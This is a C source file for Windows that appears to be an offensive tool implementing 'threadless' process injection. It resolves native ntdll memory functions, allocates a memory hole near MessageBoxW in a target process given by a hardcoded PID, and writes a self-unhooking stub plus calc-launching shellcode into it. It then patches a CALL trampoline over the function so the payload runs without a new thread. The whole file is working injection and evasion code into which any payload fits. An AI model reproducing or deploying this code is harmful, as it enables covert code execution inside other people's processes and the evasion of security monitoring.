1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
| /*
Threadless injection:
Injects a trampoline at the start of the starget function. This trampoline will redirect the execution to the main shellcode injected in a memory hole.
Memory holes are unallocated gaps of memory located between the loaded DLLs inside of a process.
*/
#include <Windows.h>
#include <stdio.h>
#include "Structs.h"
// Error macros
#define API_ERR(szWinAPI) printf("[!] %ws Failed: %d \n", szWinAPI, GetLastError());
#define NT_ERR(szNtAPI, NtErr) printf("[!] %s Failed: 0x%0.8X \n", szNtAPI, NtErr);
// Create struct that are function pointers
typedef struct _NtAPI_FP
{
fnNtAllocateVirtualMemory pNtAllocateVirtualMemory;
fnNtProtectVirtualMemory pNtProtectVirtualMemory;
fnNtWriteVirtualMemory pNtWriteVirtualMemory;
} NtAPI_FP, * PNTAPIFP;
NtAPI_FP global_NtAPI = { 0 };
/*
Searches for and allocates a memory region within ±1.75 GB of a target function address, suitable for shellcode
hProcess -> Handle to target process (where we will find the memory hole)
puAddr -> Pointer to variable that will receive base address of the allocated memory hole
uExportedFuncAddr -> Target function address to hook
sShellcodeSize -> Size of our shellcode (in bytes)
*/
BOOL FindMemHole(_In_ HANDLE hProcess, _Out_ ULONG_PTR* puAddr, _In_ ULONG_PTR uExportedFuncAddr, _In_ SIZE_T sShellcodeSize) {
NTSTATUS Status = STATUS_SUCCESS;
ULONG_PTR uAddr = 0;
*puAddr = 0;
// Check if parameters are filled
if (!hProcess || !puAddr || !uExportedFuncAddr || !sShellcodeSize)
return FALSE;
// Align the target function address down to the 64 KB allocation boundary, then subtract 1.75 GB to get the lowest candidate address
// Upper bound: target + 1.75 GB. Both bounds keep us comfortably within the ±2 GB int32 JMP reach
const ULONG_PTR uSearchStart = (uExportedFuncAddr & 0xFFFFFFFFFFF70000) - 0x70000000;
const ULONG_PTR uSearchEnd = uExportedFuncAddr + 0x70000000;
for (ULONG_PTR uCandidate = uSearchStart; uCandidate < uSearchEnd; uCandidate += 0x10000) {
// loop counter and size across iterations
uAddr = uCandidate;
SIZE_T sSize = sShellcodeSize;
Status = global_NtAPI.pNtAllocateVirtualMemory(hProcess, (PVOID*)&uAddr, 0, &sSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (NT_SUCCESS(Status)) {
// Allocation landed; uAddr holds the actual committed base address
*puAddr = uAddr;
return TRUE;
}
}
// No usuable hole
return FALSE;
}
/*
Applies API hooking to alter the code execution.
hProcess -> Handle to target process
pAddrExportedFunction -> Address of the target function that will be hooked with the trampoline shellcode
pShellcodeAddr -> Hold the base address of the allocated memory hole that we found in FindMemHole()
*/
BOOL InstallTrampoline(_In_ HANDLE hProcess, _In_ PVOID pAddrExportedFunction, _In_ PVOID pShellcodeAddr) {
// Verify parameters are filled
if (!hProcess || !pAddrExportedFunction || !pShellcodeAddr)
return FALSE;
NTSTATUS Status = STATUS_SUCCESS;
DWORD dwOldProtect = 0;
unsigned char uTrampoline[0x5] = { 0xE8, 0x00, 0x00, 0x00, 0x00 }; // 0x5 = 5 byte call, 0xE8 = CALL REL32,
/*
offset = destination - (instruction_start + instruction_size) = shellcode - (hooked_function + 5)
*/
unsigned long ulRVA = (unsigned long)((ULONG_PTR)pShellcodeAddr - ((ULONG_PTR)pAddrExportedFunction + sizeof(uTrampoline)));
SIZE_T sTmpSize = sizeof(uTrampoline), sBytesWritten = 0;
PVOID pTmpAddr = pAddrExportedFunction;
/*
uTrampoline[0] = 0xE8 ← CALL opcode
uTrampoline[1] = ulRVA & 0xFF
uTrampoline[2] = (ulRVA >> 8) & 0xFF
uTrampoline[3] = (ulRVA >> 16) & 0xFF
uTrampoline[4] = (ulRVA >> 24) & 0xFF
*/
memcpy(&uTrampoline[1], &ulRVA, sizeof(ulRVA));
// Unlock for writing
Status = global_NtAPI.pNtProtectVirtualMemory(hProcess, &pTmpAddr, &sTmpSize, PAGE_READWRITE, &dwOldProtect);
if (!NT_SUCCESS(Status)) {
NT_ERR("NtProtectVirtualMemory [unlock]", Status);
return FALSE;
}
// Patch first 5 bytes with trampoline
Status = global_NtAPI.pNtWriteVirtualMemory(hProcess, pAddrExportedFunction, uTrampoline, sizeof(uTrampoline), &sBytesWritten);
if (!NT_SUCCESS(Status) || sBytesWritten != sizeof(uTrampoline)) {
NT_ERR("NtWriteVirtualMemory", Status);
return FALSE;
}
// Set back orginal values of function
sTmpSize = sizeof(uTrampoline);
pTmpAddr = pAddrExportedFunction;
// Set RWX to pAddrExportedFunction in order to restore the 5 bytes of our trampoline
Status = global_NtAPI.pNtProtectVirtualMemory(hProcess, &pTmpAddr, &sTmpSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);
if (!NT_SUCCESS(Status)) {
NT_ERR("NtProtectVirtualMemory [RWX]", Status);
return FALSE;
}
return TRUE;
}
// Hook shellcode based from: https://github.com/CCob/ThreadlessInject/blob/master/ThreadlessInject/Program.cs#L67
unsigned char global_HookShellcode[63] = {
0x5B, 0x48, 0x83, 0xEB, 0x04, 0x48, 0x83, 0xEB, 0x01, 0x53, 0x51,
0x52, 0x41, 0x51, 0x41, 0x50, 0x41, 0x53, 0x41, 0x52, 0x48, 0xB9,
0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0x48, 0x89, 0x0B,
0x48, 0x83, 0xEC, 0x20, 0x48, 0x83, 0xEC, 0x20, 0xE8, 0x11, 0x00,
0x00, 0x00, 0x48, 0x83, 0xC4, 0x40, 0x41, 0x5A, 0x41, 0x5B, 0x41,
0x58, 0x41, 0x59, 0x5A, 0x59, 0x5B, 0xFF, 0xE3
};
VOID PatchHook(_In_ PVOID pAddrExportedFunction) {
// Capture the original 8 bytes at the hook site before they are overwritten by the trampoline. These will be restored by the shellcode after payload execution (self-unhooking).
unsigned long long ullOriginalCode = *(unsigned long long*)pAddrExportedFunction;
// Write the original bytes into the 0xAA placeholder at offset 22
memcpy(&global_HookShellcode[22], &ullOriginalCode, sizeof(ullOriginalCode));
}
/*
Writes the hook shellcode followed immediately by the main payload into the memory hole allocated by FindMemHole(). The layout in the target process is:
[ uAddress ]
|-- hook shellcode (sHookShellcodeSize bytes) --| restores original bytes, calls payload, unhooks
|-- main payload (sPayloadSize bytes) --| the actual code to execute
hProcess -> Handle to the target process
uAddr -> Base address of the allocated memory hole (from FindMemHole)
uHookShellcode -> Address of the hook shellcode buffer to write first
sHookShellcodeSize -> Size of the hook shellcode in bytes
uPayloadBuffer -> Address of the main payload buffer to write after the hook shellcode
sPayloadSize -> Size of the main payload in bytes
*/
BOOL WritePayload(_In_ HANDLE hProcess, _In_ ULONG_PTR uAddr,_In_ ULONG_PTR uHookShellcode, _In_ SIZE_T sHookShellcodeSize,_In_ ULONG_PTR uPayloadBuffer, _In_ SIZE_T sPayloadSize) {
SIZE_T sTmpSizeVar = sHookShellcodeSize + sPayloadSize;
SIZE_T sBytesWritten = 0x00;
DWORD dwOldProtection = 0x00;
NTSTATUS Status = STATUS_SUCCESS;
// Verify Parameters are filled
if (!hProcess || !uAddr || !uHookShellcode || !sHookShellcodeSize || !uPayloadBuffer || !sPayloadSize)
return FALSE;
// Write the hook shellcode to the base of the allocated hole
if (!NT_SUCCESS((Status = global_NtAPI.pNtWriteVirtualMemory(hProcess, (PVOID)uAddr, (PVOID)uHookShellcode, sHookShellcodeSize, &sBytesWritten)))
|| sBytesWritten != sHookShellcodeSize) {
NT_ERR(TEXT("NtWriteVirtualMemory [hook shellcode]"), Status);
return FALSE;
}
// Write the main payload immediately after the hook shellcode. uAddress + sBytesWritten gives the exact byte after the last written byte.
if (!NT_SUCCESS((Status = global_NtAPI.pNtWriteVirtualMemory(hProcess, (PVOID)(uAddr + sBytesWritten), (PVOID)uPayloadBuffer, sPayloadSize, &sBytesWritten))) || sBytesWritten != sPayloadSize) {
NT_ERR(TEXT("NtWriteVirtualMemory [payload]"), Status);
return FALSE;
}
if (!NT_SUCCESS((Status = global_NtAPI.pNtProtectVirtualMemory(hProcess, (PVOID*)&uAddr, &sTmpSizeVar, PAGE_EXECUTE_READWRITE, &dwOldProtection)))) {
NT_ERR(TEXT("NtProtectVirtualMemory"), Status);
return FALSE;
}
return TRUE;
}
// x64 calc (due to x64 pathcing)
unsigned char ShellcodeCalc[106] = {
0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xE4, 0xF0, 0x50, 0x6A,
0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4,
0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10,
0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C,
0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B,
0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81,
0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,
0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7,
0x48, 0x83, 0xC4, 0x68, 0x5C, 0x5D, 0x5F, 0x5E, 0x5B, 0xC3
};
#define Function "MessageBoxW"
#define DLL "USER32"
#define PID 9156
int main() {
HMODULE hNtdll = NULL;
ULONG_PTR uAddr = 0;
PVOID pExportedFuncAddr = NULL;
HANDLE hProcess = NULL;
// Get handle to ntdll
hNtdll = GetModuleHandle(TEXT("NTDLL"));
if (!hNtdll) {
printf("[!] GetModuleHandle Failed: %d \n", GetLastError());
return -1;
}
// Load NtAPI into memory
global_NtAPI.pNtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
global_NtAPI.pNtProtectVirtualMemory = (fnNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
global_NtAPI.pNtWriteVirtualMemory = (fnNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
if (!global_NtAPI.pNtAllocateVirtualMemory || !global_NtAPI.pNtProtectVirtualMemory || !global_NtAPI.pNtWriteVirtualMemory)
return 1;
// Find target DLL + Function
HMODULE hTargetDll = LoadLibrary(TEXT(DLL));
if (!hTargetDll) {
API_ERR(TEXT("LoadLibrary"));
return -1;
}
if (!(pExportedFuncAddr = GetProcAddress(hTargetDll, Function))) {
API_ERR(TEXT("GetProcAddress"));
return -1;
}
// Path first shellcode
PatchHook(pExportedFuncAddr);
printf("[+] %s %s at: 0x%p \n", DLL, Function, pExportedFuncAddr);
// Open Process
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (!hProcess) {
API_ERR("OpenProcess");
return -1;
}
// Find memory hole inside predefined PID
if (!FindMemHole(hProcess, &uAddr, pExportedFuncAddr, sizeof(ShellcodeCalc) + sizeof(global_HookShellcode)))
return -1;
printf("[+] Memory Hole At: 0x%p \n", (void*)uAddr);
// Writing both the first and the second (main) shellcode
if (!WritePayload(hProcess, uAddr, global_HookShellcode, sizeof(global_HookShellcode), ShellcodeCalc, sizeof(ShellcodeCalc)))
return -1;
printf("[*] Press <Enter> to install hook On %d)\n", PID);
getchar();
printf("[*] Attempting hook installation...\n");
if (!InstallTrampoline(hProcess, pExportedFuncAddr, uAddr))
return -1;
printf("[+] Installed Hook At: %s \n", Function);
return 0;
}
|